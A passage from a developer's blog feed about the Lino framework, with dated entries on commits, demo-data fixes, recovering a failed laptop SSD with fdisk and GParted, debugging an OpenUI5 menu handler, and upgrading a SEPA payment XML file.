Also reviewed this page to provide more useful explanations. I discovered
Sphinx’s &lt;cite&gt;diff&lt;/cite&gt; highlight mode.  The diff chunks render beautifully and a good
for explaining, but they contain lines that start with “&amp;gt;&amp;gt;&amp;gt;” and which are not
meant to be tested by doctest. That’s why the book repository now uses the
&lt;cite&gt;exclude&lt;/cite&gt; keyword argument of &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.test.make_docs_suite()&lt;/span&gt;&lt;/code&gt; to exempt
this file from being tested.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1119.html</guid><pubDate>Thu, 19 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, November 14, 2020</title><link>https://luc.lino-framework.org/blog/2020/1114.html</link><description>&lt;section id="saturday-november-14-2020"&gt;
&lt;h1&gt;Saturday, November 14, 2020&lt;a class="headerlink" href="#saturday-november-14-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I played around with the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.gitlab-ci.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of &lt;a class="reference internal" href="../../about/sites.html#hw"&gt;&lt;span class="std std-ref"&gt;Human World project&lt;/span&gt;&lt;/a&gt;. For
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3831"&gt;#3831&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1114.html</guid><pubDate>Sat, 14 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 11, 2020</title><link>https://luc.lino-framework.org/blog/2020/1111.html</link><description>&lt;section id="wednesday-november-11-2020"&gt;
&lt;h1&gt;Wednesday, November 11, 2020&lt;a class="headerlink" href="#wednesday-november-11-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I published the changes I did during the last days for the new
&lt;a class="reference external" href="https://dev.lino-framework.org/projects/voga3.html#module-lino_book.projects.voga3" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.voga3&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo project (see &lt;a class="reference external" href="https://dev.lino-framework.org/projects/voga3.html#voga-specs-voga3" title="(in Lino Developer Guide)"&gt;&lt;span&gt;voga3 : A fictive dance school in Estonia&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 16:55 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/e6b187a27b829097e571c2f76fa42aac7df3d628"&gt;df3d628&lt;/a&gt;
(py2to3)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 16:56 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/fbcebcec13bd9f2b756b13b6a2ae14ef5867517c"&gt;867517c&lt;/a&gt;
(add new role cal.CalendarGuest)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 16:57 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/84058c80bfdeb3e59c8e8926045cd061ffbb4cde"&gt;fbb4cde&lt;/a&gt;
(add new demo project voga3)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 16:58 in &lt;em&gt;voga&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/voga/commit/d3a76befae477bf7b19c883a09e152802b50a9d2"&gt;b50a9d2&lt;/a&gt;
(add new usertype Pupil)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:02 in &lt;em&gt;avanti&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/avanti/commit/d30ce797cee69393ef3764383883c42045e63432"&gt;5e63432&lt;/a&gt;
(adapted after move lino_xl.lib.courses.workflows module)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:02 in &lt;em&gt;tera&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/tera/commit/a6247adaa8950805659344ebd958ee3025a3fdd4"&gt;5a3fdd4&lt;/a&gt;
(adapt after move lino_xl.lib.courses.workflows module)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:03 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/welfare/commit/03f8215d02e01dd4d2a372ed6b8cd4feefd8bb0a"&gt;fd8bb0a&lt;/a&gt;
(adapt after add new voga3 demo project)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:04 in &lt;em&gt;presto&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/presto/commit/87b77754b74a66783d0466a3e4b956ffcb588f3b"&gt;b588f3b&lt;/a&gt;
(adapt after move lino_xl.lib.courses.workflows module)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:05 in &lt;em&gt;mentori&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/mentori.git"&gt;a7e9726&lt;/a&gt;
(adapt after move lino_xl.lib.courses.workflows module)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:06 in &lt;em&gt;ciao&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/ciao/commit/86dc152928a11477c8da2dc101ce2b1fad274a5e"&gt;d274a5e&lt;/a&gt;
(adapt after move lino_xl.lib.courses.workflows module)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-11-11 17:08 in &lt;em&gt;openui5&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/openui5/commit/5f080340149216fbb48866cfdb3dcd6a88e56bc7"&gt;8e56bc7&lt;/a&gt;
(editor added newline at eof)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="a-new-laptop-for-ly"&gt;
&lt;h2&gt;A new laptop for Ly&lt;a class="headerlink" href="#a-new-laptop-for-ly" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="ssh://admin&amp;#64;laptop-Latitude-E7270"&gt;ssh://admin&amp;#64;laptop-Latitude-E7270&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1111.html</guid><pubDate>Wed, 11 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, November 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/1110.html</link><description>&lt;section id="tuesday-november-10-2020"&gt;
&lt;h1&gt;Tuesday, November 10, 2020&lt;a class="headerlink" href="#tuesday-november-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Demo pupils must not be responsible users of a course.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_voga.lib.courses.html#module-lino_voga.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin (default courses implementation for
voga) didn’t yet inspect &lt;cite&gt;SiteConfig.pupil_guestrole&lt;/cite&gt;. Fixed. This bug became
visible only now because the plugin was not yet being used in any demo project
because roger has its custom extension &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_voga.lib.roger.courses.html#module-lino_voga.lib.roger.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.roger.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Demo events in the future must not have state “Took place”.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1110.html</guid><pubDate>Tue, 10 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, November 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/1107.html</link><description>&lt;section id="saturday-november-7-2020"&gt;
&lt;h1&gt;Saturday, November 7, 2020&lt;a class="headerlink" href="#saturday-november-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;My old Dell notebook, used now by Ly, doesn’t start any more after it froze
suddenly while Ly was working. Maybe it had gotten too hot.  Or some RAM or SSD
is getting old.&lt;/p&gt;
&lt;p&gt;When starting it up, it only says “Invalid partition table!”.  I created an
lubuntu startup USB stick in order to boot.&lt;/p&gt;
&lt;p&gt;Strange: I created the lubuntu startup stick from an iso file I had downloaded
already in September 22.  20.04.1&lt;/p&gt;
&lt;p&gt;The machine behaves perfectly when booted from the live lubuntu stick.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo fdisk /dev/sda -l
Disk /dev/sda: 238,49 GiB, 256060514304 bytes, 500118192 sectors
Disk model: SAMSUNG SSD SM84
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x1427a579

Device     Boot     Start       End   Sectors   Size Id Type
/dev/sda1  *         2048    206847    204800   100M  7 HPFS/NTFS/exFAT
/dev/sda2          206848 209922047 209715200   100G  7 HPFS/NTFS/exFAT
/dev/sda3       209924094 500117503 290193410 138,4G  5 Extended
/dev/sda5       483469312 500117503  16648192     8G 82 Linux swap / Solaris
/dev/sda6       209924096 483469311 273545216 130,4G 83 Linux

Partition table entries are not in disk order.



$ sudo fdisk /dev/sda
Welcome to fdisk (util-linux 2.34).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Command (m for help): v
Remaining 2734 unallocated 512-byte sectors.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I started &lt;cite&gt;sudo gparted&lt;/cite&gt;.  I selected &lt;span class="menuselection"&gt;Device ‣ Attempt Data
Rescue&lt;/span&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;No file systems found on /dev/sda&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The disk scan by gpart did not find any recognizable file systems on this disk.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Again in gparted I did right click on the /dev/sda1 partition and select
“Check”. Then “run pending operations”.  This created the following report:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;GParted 1.0.0

configuration --enable-libparted-dmraid --enable-online-resize

libparted 3.3

========================================
Device:       /dev/sda
Model:        ATA SAMSUNG SSD SM84
Serial:       S12LNSAD707427
Sector size:  512
Total sectors:        500118192

Heads:        255
Sectors/track:        2
Cylinders:    980623

Partition table:      msdos

Partition     Type    Start   End     Flags   Partition Name  File System     Label   Mount Point
/dev/sda1     Primary 2048    206847  boot            ntfs    System Reserved
/dev/sda2     Primary 206848  209922047                       ntfs
/dev/sda3     Extended        209924094       500117503                       extended
    /dev/sda6 Logical 209924096       483469311                       ext4
    /dev/sda5 Logical 483469312       500117503                       linux-swap

========================================
Device:       /dev/sdb
Model:        ATA WDC WD10SPCX-60H
Serial:       WD-WX41A9309763
Sector size:  512
Total sectors:        1953525168

Heads:        255
Sectors/track:        2
Cylinders:    3830441

Partition table:      msdos

Partition     Type    Start   End     Flags   Partition Name  File System     Label   Mount Point
/dev/sdb1     Primary 63      1953525167                      ext4    Dell1TB

========================================
Device:       /dev/sdc
Model:        USB Flash Memory
Serial:       none
Sector size:  512
Total sectors:        30253056

Heads:        255
Sectors/track:        2
Cylinders:    59319

Partition table:      none

Partition     Type    Start   End     Flags   Partition Name  File System     Label   Mount Point
/dev/sdc      Unpartitioned   0       30253055                        iso9660 Lubuntu 20.04.1 LTS amd64

========================================
Check and repair file system (ntfs) on /dev/sda1  00:00:00    ( SUCCESS )

calibrate /dev/sda1  00:00:00    ( SUCCESS )

path: /dev/sda1 (partition)
start: 2048
end: 206847
size: 204800 (100.00 MiB)
check file system on /dev/sda1 for errors and (if possible) fix them  00:00:00    ( SUCCESS )

ntfsresize -i -f -v &amp;#39;/dev/sda1&amp;#39;  00:00:00    ( SUCCESS )

ntfsresize v2017.3.23AR.3 (libntfs-3g)
Device name : /dev/sda1
NTFS volume version: 3.1
Cluster size : 4096 bytes
Current volume size: 104854016 bytes (105 MB)
Current device size: 104857600 bytes (105 MB)
Checking for bad sectors ...
Checking filesystem consistency ...
100.00 percent completed
Accounting clusters ...
Space in use : 60 MB (56,5%)
Collecting resizing constraints ...
Estimating smallest shrunken size supported ...
File feature Last used at By inode
$MFTMirr : 1 MB 1
Sparse : 35 MB 102
Ordinary : 103 MB 100
You might resize at 59219968 bytes or 60 MB (freeing 45 MB).
Please make a test run using both the -n and -s options before real resizing!
grow file system to fill the partition  00:00:00    ( SUCCESS )

run simulation  00:00:00    ( SUCCESS )

ntfsresize --force --force --no-action &amp;#39;/dev/sda1&amp;#39;  00:00:00    ( SUCCESS )

ntfsresize v2017.3.23AR.3 (libntfs-3g)
Device name : /dev/sda1
NTFS volume version: 3.1
Cluster size : 4096 bytes
Current volume size: 104854016 bytes (105 MB)
Current device size: 104857600 bytes (105 MB)
New volume size : 104854016 bytes (105 MB)
Nothing to do: NTFS volume size is already OK.
real resize  00:00:00    ( SUCCESS )

ntfsresize --force --force &amp;#39;/dev/sda1&amp;#39;  00:00:00    ( SUCCESS )

ntfsresize v2017.3.23AR.3 (libntfs-3g)
Device name : /dev/sda1
NTFS volume version: 3.1
Cluster size : 4096 bytes
Current volume size: 104854016 bytes (105 MB)
Current device size: 104857600 bytes (105 MB)
New volume size : 104854016 bytes (105 MB)
Nothing to do: NTFS volume size is already OK.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried Christophe Grenier’s testdisk utility:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install testdisk
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It said that there were problems but that it cannot fix them.&lt;/p&gt;
&lt;p&gt;I copied the data to another machine.&lt;/p&gt;
&lt;p&gt;Memtest86 (version 5.01) always froze at the same place, at 63% of Test #2.
Maybe it is just the problem described &lt;a class="reference external" href="https://www.memtest86.com/tech_freezing-lockups.html"&gt;here&lt;/a&gt;: If the freeze occurs
in MemTest86 but the system runs normally otherwise, the problem is likely with
the UEFI firmware. The most common issue is when running MemTest86 using
multiple CPU cores (default behaviour).&lt;/p&gt;
&lt;p&gt;The lubuntu boot usb can only start lubuntu but has no option&lt;/p&gt;
&lt;p&gt;I installed a new Ubuntu 20.10 on onto the first SSD (/dev/sda), overriding the
partitions, including a Windows 7 that had been kept from doll’s previous owner
when we bought it many years ago.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1107.html</guid><pubDate>Sat, 07 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Friday, November 6, 2020</title><link>https://luc.lino-framework.org/blog/2020/1106.html</link><description>&lt;section id="friday-november-6-2020"&gt;
&lt;h1&gt;Friday, November 6, 2020&lt;a class="headerlink" href="#friday-november-6-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="ismail-getting-started"&gt;
&lt;h2&gt;Ismail getting started&lt;a class="headerlink" href="#ismail-getting-started" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ismail is working on a problem in &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#openui5" title="(in Lino Developer Guide)"&gt;&lt;span&gt;OpenUI5 front end&lt;/span&gt;&lt;/a&gt;: The menu items don’t work,
they display correctly, but when you click on one of them, nothing happens. And
the JS console says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Uncaught&lt;/span&gt; &lt;span class="n"&gt;DOMException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;contains&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;invalid&lt;/span&gt; &lt;span class="n"&gt;character&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;He found that the problem is somewhere in file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;config/openui5/controller/App.controller.js&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;handleMenuItemPress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oEvent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;oButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;oEvent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getSource&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;actor_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;oButton&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;actor_id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;action_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;oButton&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;action_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;compressed_eval_js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;oButton&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;eval_js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compressed_eval_js&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;inflate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Zlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Inflate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;decompress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inflate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;eval_js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;TextDecoder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;oEvent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;item&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;actor_id&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;action_name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;#39; pressed&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;MessageToast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eval_js&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;routeTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;actor_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Two remarks:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;In order to understand the problem, you need to see what’s in the
&lt;cite&gt;compressed_eval_js&lt;/cite&gt; variable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The error message “Uncaught DOMException: String contains an invalid
character” also comes when you open a table using a quick link (where it
works).  So this might not be the real problem at all.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="change-in-generated-xml-file"&gt;
&lt;h2&gt;Change in generated XML file&lt;a class="headerlink" href="#change-in-generated-xml-file" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am upgrading the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;IMP2PAIN.XML&lt;/span&gt;&lt;/code&gt; file used by a TIM customer from
version 2 to version 3 because they want to use a new feature: instant payments
without additional costs.&lt;/p&gt;
&lt;p&gt;I upgraded the XSD file used by &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;etgen.sepa.validate&lt;/span&gt;&lt;/code&gt;, then started a
testing sequence: print a payment order in TIM to generate an xml file from the
updated &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;IMP2PAIN.XML&lt;/span&gt;&lt;/code&gt; file, then validate that xml file.&lt;/p&gt;
&lt;p&gt;First error:
The root element is no longer named &lt;cite&gt;&amp;lt;pain.001.001.02&amp;gt;&lt;/cite&gt; (nor &lt;cite&gt;&amp;lt;pain.001.001.03&amp;gt;&lt;/cite&gt;
as I had expected), but  &lt;cite&gt;&amp;lt;CstmrCdtTrfInitn&amp;gt;&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Next error:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;lxml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;etree&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DocumentInvalid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Element&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{urn:iso:std:iso:20022:tech:xsd:pain.001.001.03}Grpg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Expected&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;urn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;iso&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;iso&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20022&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tech&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span 